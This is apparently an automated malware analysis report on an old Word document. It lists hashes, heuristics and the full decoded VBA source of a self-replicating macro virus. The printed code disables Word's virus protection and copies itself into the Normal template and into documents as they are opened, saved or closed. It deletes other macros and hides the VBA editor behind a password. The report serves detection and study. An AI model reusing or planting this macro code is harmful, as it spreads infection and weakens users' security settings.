Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0535bcd924fb662f…

MALICIOUS

Office (OLE)

38.0 KB Created: 1997-01-29 21:29:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f55c350b0fcbba54bdd05e82869c6778 SHA-1: e4d824399b3f38ee06eb4727d301524a0b8d277f SHA-256: 0535bcd924fb662f56086b3d920566e04a6b3fcb3a7e8f0e2506d51d6609c498
136 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, including AutoOpen and AutoClose, which are indicative of malicious intent. The macros attempt to disable virus protection and prompt the user with messages, one of which requires a password ('Cindy') to enable the Visual Basic editor. This suggests the macros are intended to manipulate the document's security settings and potentially execute further malicious code.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6406 bytes
SHA-256: 86bd9a078c07d5e0197bd77f66a30bb232299ab09b299729d8d4326e5678d4a1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ARMHACKERS"
Sub ShowMessage()
    'H = Time
   ' If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
   ' For i = 1 To 100
   '     Beep
   ' Next i
    H = MsgBox("Terimakasih untuk semua teman-temanku di IK-03, dan seseorang(13-8-80)" & _
    " yang ada di hatiku paling dalam [Cindy]. " & Chr(13) & _
    "Terima kasih atas perhatiannya selama ini." & Chr(13) & _
    "I Don't Want To Wait And When You Say JAP" & Chr(13) & _
    "Sekali lagi untuk teman-temanku di IK-03 You All Is My Best Friend  " & Chr(13) & _
    Chr(13) & "(Ma'af mengganggu sebentar.)", vbOKOnly + vbExclamation, "Tararenk You Pisan")
   ' End If
End Sub

Sub PesanOpen()
        H = MsgBox("Anjeun Bade Muka File" & Chr(13) & _
        "Wilujeung diteraskeun", vbExclamation + vbOKOnly, "Salam untuk gadis 13-8-80")
End Sub

Sub PesanSave()
H = MsgBox("Anjeun Bade Nyimpen File" & Chr(13) & _
        "Wilujeung diteraskeun Nyimpenna", vbExclamation + vbOKOnly, "Salam untuk gadis 13-8-80(Cindy)")
End Sub
Sub Bablas()
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    If InputBox("Lebetkeun password", "Hackers Mania") = "Cindy" Then
        H = MsgBox("Congratulation For You Si Lucu Tea.", vbExclamation + vbOKOnly, "Salam")
        Application.ShowVisualBasicEditor = True
    Else
        H = MsgBox("Password anda mengada-ngada, Saya anggap anda penyelusup", vbExclamation + vbOKOnly, "Fuck You Man")
    End If
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub HelpAbout()
    H = MsgBox("Qun katawon walataqun kalaler." & Chr(13) & Chr(13) & _
    "Puas Komputer Moal Mantuan, Bebeja Ka Dosen Atu Nya !", vbOKOnly + vbExclamation, "Hackers Mania")
End Sub
Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "Hackers Mania nuju di damel"
    ActiveWindow.Caption = "(Salam Semata dari Hackers Mania)"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Salam untuk gadis 13-8-80"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password", "Hackers Mania") = "Cindy" Then Application.ShowVisualBasicEditor = True
End Sub

Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "ARMHACKERS" Then DocOk = True
        If Obj.Name <> "ARMHACKERS" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "Pengcopyan Hackers Mania dari Normal Template ke " _
        + ActiveDocument.Name + "..."
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="ARMHACKERS", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "ARMHACKERS" Then NorOk = True
        If Obj.Name <> "ARMHACKERS" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in Normal Template..."
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.StatusBar = "Pengcopying Hackers Mania dari " + ActiveDocument.Name + _
        " ke Normal Template..."
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="ARMHACKERS", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    ShowMessage
    Application.Quit
End Sub

Sub FileOpen()
    PesanOpen
    ChangeCap
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        SikatDocument
        ActiveDocument.Save
    End If
    RestoreCap
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    Bablas
    ChangeCap
    SikatTemplate
    On Error Resume Next
    NormalTemplate.Save
    RestoreCap
End Sub

Sub AutoClose()
    SikatDocument
End Sub

Sub FileClose()
    AutoClose
End Sub

Sub FileSave()
    PesanSave
    If ActiveDocument.Saved = False Then
        SikatDocument
        SikatTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub Ancurin()
    C = Documents.Count
    If C <> 0 Then
        Normal.ARMHACKERS.SikatDocument
        WordBasic.DisableAutoMacros False
        On Error Resume Next
        If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
    Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.ARMHACKERS.Ancurin"
    End If
End Sub

Sub AutoExec()
    WordBasic.DisableAutoMacros True
    Bablas
    Application.OnTime Now + TimeValue("00:00:07"), "Normal.ARMHACKERS.Ancurin"
End Sub



Sub asli()
    If InputBox("Lebetkeun password", "Hackers Mania") = "Cindy" Then
        H = MsgBox("Congratulation For You Si Lucu Tea.", vbExclamation + vbOKOnly, "Salam")
        Application.ShowVisualBasicEditor = True
    Else
        H = MsgBox("Password anda mengada-ngada, Saya anggap anda penyelusup", vbExclamation + vbOKOnly, "Fuck You Man")
    End If
End Sub

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